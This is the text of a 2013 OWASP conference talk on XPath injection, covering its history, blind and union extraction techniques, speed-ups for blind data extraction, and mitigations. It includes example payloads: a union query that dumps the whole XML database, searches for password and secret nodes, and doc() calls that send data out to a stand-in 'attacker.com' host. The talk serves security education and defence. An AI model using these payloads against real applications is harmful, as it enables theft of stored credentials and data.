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Improving XPath Injection

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OWASP NZ Day 2013

Agenda



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- Whoami
- Introduction to XPath
- Brief History of XPath Injection
- XPath Injection Techniques/Improvements
- Mitigations
- Demo
- Conclusion and References



- **Paul Haas : Security Engineer @ Security-Assessment.com**
- **Experience**
 - 10 years in computer security, 1.5 at Security Assessment
 - Expertise across the pentesting spectrum: App, net, wifi, DB, host
 - Defcon 2010: Advanced Format String Exploitation
 - Bash-Fu Master, XPath Ninja
- **Passion**
 - Solving complex problems (the hack)
 - *Alternately:* making them more complex
 - Driving people into the Mario Kart abyss



Brief Introduction to XPath

- What is XPath?
 - XPath is a functional language to query a XML document in a hierarchical path-like fashion
 - Parent, Ancestor, Sibling, Descendants, Atomic Value
 - XML document represented as 'nodes': elements, attributes, text, namespace, processing-instructions, comments, and document nodes.
 - Treats XML database as tree of these nodes from root element '/'



Brief Introduction to XPath


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<?xml version="1.0" encoding="ISO-8859-1"?>
<!-- Protect this document -->
<lib>
  <book>
    <title>Learning XPath</title>
    <description>And why you are doing it wrong</description>
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  </book>

  <book>
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    <price>5</price>
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  </book>
</lib>
```

Brief Introduction to XPath

- **XPath 1.0 introduced in 1999 by W3C**
 - Combination of other XML Standards: XQuery, XLink, XSLT
 - Designed for consistent standard regardless of implementation
- **Contains standard library functions for math, strings and data**
 - name, count, string-length, translate, concat, contains, substring
- **Database-like syntax**
 - SQL: *SELECT book FROM bookstore WHERE title='Test'*
 - XPATH: */library/book/[title='Test']*



Brief Introduction to XPath

- **XPath 2.0 'Working Draft' introduced in 2007**
 - Much more powerful 'language', data types, larger function library
 - Lower-case, string-to-codepoints, normalize-unicode, error
- **Functions may allow arbitrary file access and network access**
 - Get local file path: *document-url()*
 - Retrieve local file: *doc(file://local/file)*
 - Outbound HTTP: *doc(concat("http://attacker.com/",data))*
 - Outbound DNS: *doc(concat(data,".attacker.com"))*
- **XPath 3.0 is in candidate status as of January 2013**
 - Thankfully no known implementations

Brief Introduction to XPath

- **XPath 2.0 and 3.0**

- Not universally implemented or supported
- This presentation focuses on XPath 1.0

- **Why XPath?**

- Used by many XML projects and libraries
- XML Databases use XPath
- It is probably hiding somewhere in your organization



Brief Introduction to XPath

XPath Expression Examples:

- nodename – Select all nodes named 'nodename',
- @node – XML attribute
- '/' – Select from root, '/parent/' - Select from parent
- '/' – Select anywhere in database
- '.' – current node
- '..' – parent
- '*' – Wildcard
- @* – attribute wildcard
- node() – any node

Operators: *+/-/*, div, =, !=, <, <=, >, >=, or, and, mod, |* as a union operator

Node Functions: *name, count, text, comment, processing-instruction*

Brief Introduction to XPath

Example XPath Queries:

- `count(/library/book)`
- `/library/book[1]`
- `/library/book[last()]`
- `/library/book[title='Test']`
- `/database/user[@id='1']`
- `/database/user[name='admin' and password='secret']`

Testing XPath

- Numerous XPath tester tools and online sites
- Use xmlstarlet command line tool for local document testing
 - `xmlstarlet sel -T -t -m 'expression' -v '.' -n doc.xml`

History of XPath Injection



History of XPath Injection

- **First discussion of Blind XPath Injection was in 2004 by Amit Klein**
 - Whitepaper only, heavy on theory, no tool or code release
 - Convoluted discussion of 'Booleanization of XPath Scalar Queries'
- **OWASP XPATH Injection 2008 by Roberto Suggi Liverani**
 - From Security-Assessment.com and OWASP NZ Chapter Founder
 - Good introduction to the topic and prelude to this presentation

- **Blackhat US 12': The Art of Exploiting Lesser Known Injection Flaws**
 - By Aleksander Gorkowienko, Sumit Siddharth
 - Included blind XPath and LDAP explorer tools, windows binaries only
- **Blackhat EU 2012: Hacking XPath 2.0 by Sumit Siddharth & Tom Forbes**
 - Release of xcat.py, a blind XPath 1.0 and 2.0 written in Python
 - Simple XPath 1.0 database retrieval using threads and linear retrieval

XPath Injection Techniques



XPath Injection Techniques

- **OWASP Top Ten A1 Injection Risk**
 - Same impact as SQL injection
 - Yet less awareness
- **XPath injection flaws are introduced when string concatenation is used to form XPath queries which includes user input**
 - Like SQL Injection, but without database variances
 - Similar injection techniques



XPath Injection Techniques

- **End result: Modification of XPath Queries**
 - Example: `/library/book/[title="test" AND 1=0] | //*["1"="1"]`
 - Returns entire XML database using 'union' injection
- **Injection Techniques**
 - Union Injection
 - Blind Injection
 - Time-based based

XPath Injection Techniques

- **Union injection**
 - Fastest, but relies on error message or unprocessed XPath output
 - Requires custom processing for each different instance
- **Blind Injection**
 - Relies on a XPath query resolving as either true or false
 - Slower, but technique can be used everywhere
- **Time Based Injection**
 - Not practical with functions provided in XPath 1.0
 - New techniques may be used for denial of service purposes

The method to reconstruct an XML document when Union injection is present is a simple recursive function:

- **Starting at the root node(`node='/*[1]'`):**
 1. *Print the name of the current node using **`name(node)`***
 2. *Print out each attribute and value pair for **`count(node/@*)`***
 3. *Print out each comment for **`count(node/comments())`***
 4. *Print out each processing instruction for **`count(node/processing-instruction())`***
 5. *Print out each text for **`count(node/text())`***
 6. *Repeat this function recursively for each child node of **`count(node/*)`***

- **Current Blind XPath Reconstruction Process**

- Identify if we are on a node
 - $string-length(name(node)) > 0$
- Increment length of node until we have a match
 - $string-length(name(node)) = 1++$
- For each character, increment over possible characters until match
 - $substring(name(node), 1++, 1) = 'a'++$
- Match sub-node count until we have a match
 - $count(node/subnode) = 0++$
- Repeat this process for every node

- **Linear process is used by current tools for reconstruction**

- Inefficient and impractical for large databases

XPath Injection Improvements



- **Improvement #1: Incremental -> Binary Tree Search**
 - Reconstruct numbers bit by bit using division & modulus operators
 - Implement 'Booleanization of XPath Scalar Queries'
 - Recursively split possible character set in half until match
 - Much faster than existing linear searches (100x speedup)
- **Challenges**
 - Adds code/query complexity
 - More difficult to thread compared to linear logic
 - Requires use of additional XPath 1.0 functions
 - *Not used in existing tools*



- **Improvement #2: Case Sensitive -> Insensitive Match**
 - Recreate XPath 2.0 lower-case() function in XPath 1.0
 - *translate(character, [A-Z], [a-z])*
 - Slight improvement in number of XPath queries (<1%)
 - Only efficient for very large databases
 - Matching case after fact less efficient than Binary Search

abcdefghijklmnop
qrstuvwxyz

XPath Injection Improvements

- **Improvement #3: Normalize Whitespace**
 - Eliminate unnecessary whitespace before reconstruction
 - *normalize-whitespace(string)*, Eg: $[Space] [Space]^* = [Space]$
 - Significant improvement for 'text like' databases (<15-20%)



- **Improvement #4: Maintain Global Count**
 - Get global count of each type of node
 - *count(//*), count(//@*), count(//comment()), count(//text())*
 - Decrement count when accessing that node type
 - Stop accessing that node type when count is at 0
- Useful for top-heavy XML documents (IE: only comments at top)
 - Slight speed improvement at small cost of initial requests (1-5%)
- Very useful for documents that do not use a particular node type
 - 5-10% speed improvement for each node type not in document

- **Improvement #5: Partial Reconstruction and String Search**

- Extract only 'interesting' parts of database
 - Skip comments, attributes, text nodes, similar children
- Used to get basic idea of document structure for focused attacks
- Perform global search for a specific string
 - Extract usernames, passwords, other sensitive data
 - `//*[contains(., "admin")]`
 - `//*[contains(name(), "pass")], //@*[contains(name(), "user")]`
 - `//text()[contains(., "secret")]`
 - Useful for open-source and previously reconstructed databases

- **Improvement #6: Smart Reconstruction**
 - Useful portion of XML data is in 'unique' text data
 - Yet largest amount time is spent recreating XML structure
 - XML document has duplicate elements
 - Sibling nodes commonly share similar children and structure
 - Can use previous results to build shortcut queries
 - For 'well formed' XML documents, significant speed improvement
- Challenges
 - Requires knowledge/queries against incomplete XML document
 - Additional logic required to prevent speedup inefficiencies

Mitigations



- **Perform Input Validation**
 - Never trust user input
 - Assume all dynamic queries are injectable
 - Limit exposure, use separate databases, encrypt sensitive data
- **Prevention Techniques**
 - Whitelist approach: `[A-Za-z0-9]`
 - Restrict length & match data type
 - Check returned object type and context
 - Statement pre-compilation (parameterization)
 - Utilize Mature Framework
 - Security Testing



- **String Filtering Approaches**

- Whitelists and blacklists are difficult to maintain
 - Must handle different encodings, techniques, injection mutations
 - Cat and mouse race with motivated attackers

- **XML Object Validation**

- Check query results for consistency, verify node structure
- Advanced attacks can work around these restrictions

- **XPath Parameterized Queries**

- Requires additional logic not built into XPath
- Create precompiled query using independent XQuery document

- **Utilize Mature Framework**

- Most frameworks don't have protection for XPath injection attacks
- .NET 2.0:
 - *XPathExpression.Compile, XPathExpression.SetContext*
- OWASP ESAPI Java:
 - *encodeForXPath, EncodeForXPathTag*
- Avoid using XPath 2.0 if possible, more functionality, but more risk

- **Security Testing**


- Have a security professional test the implementation

Demo

Demo



Demo



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12  <book>
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24  </book>
25 </lib>
26
```

length : 695 lines : 26 Ln : 1 Col : 1 Sel : 0 | 0 Dos\Windows ISO 8859-1 INS


Start Mozilla Firefox C:\WINDOWS\system32... C:\WINDOWS\system32... C:\WINDOWS\system32... C:\XPath\input.xml - ... 12:10 AM

Conclusion



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- **XPath Injection is Bad!!**
 - Impact similar to SQL Injection ☺
 - Yet less awareness = even more risk
- **Does your company use XML?**
 - Expect XPath to be used as well
- **Attacker awareness is increasing**
 - My tool just makes it harder, better, faster
- **The abyss in Mario Kart is like the void in my heart**
 - Only by knocking people in can I make myself whole <3



Greetz to SA for suggestions, proofing, and funny images

1. xcat : Automate XPath injection attacks to retrieve documents:
<https://github.com/orf/xcat>
2. xpath-blind-explorer: Blind XPath Injection Exploitation Tool:
<https://code.google.com/p/xpath-blind-explorer/>
3. Blind XPath Injection: <http://2stop.me/Sécurité Informatique/Web/EN - Blind Xpath injection.pdf>
4. Hacking XPath 2.0: <http://media.blackhat.com/bh-eu-12/Siddharth/bh-eu-12-Siddharth-Xpath-WP.pdf>
5. XPath Injection Overview by Roberto Suggi Liverani of SA:
https://www.owasp.org/images/5/5f/Xpath_Injection.ppt

6. XMLStarlet Command Line XML Toolkit: <http://xmlstar.sourceforge.net/>
7. Saxon: Open Source XSLT and XQUERY Processor:
<http://saxon.sourceforge.net/>
8. Avoid the Dangers of XPath Injection:
<http://www.ibm.com/developerworks/xml/library/x-xpathinjection/index.html>
9. Prevent XPath Injection:
<https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=61407250>
10. Preventing XPath Injection in .NET 2.0:
<http://stackoverflow.com/questions/6381689/how-to-prevent-xpath-xml-injection-in-net>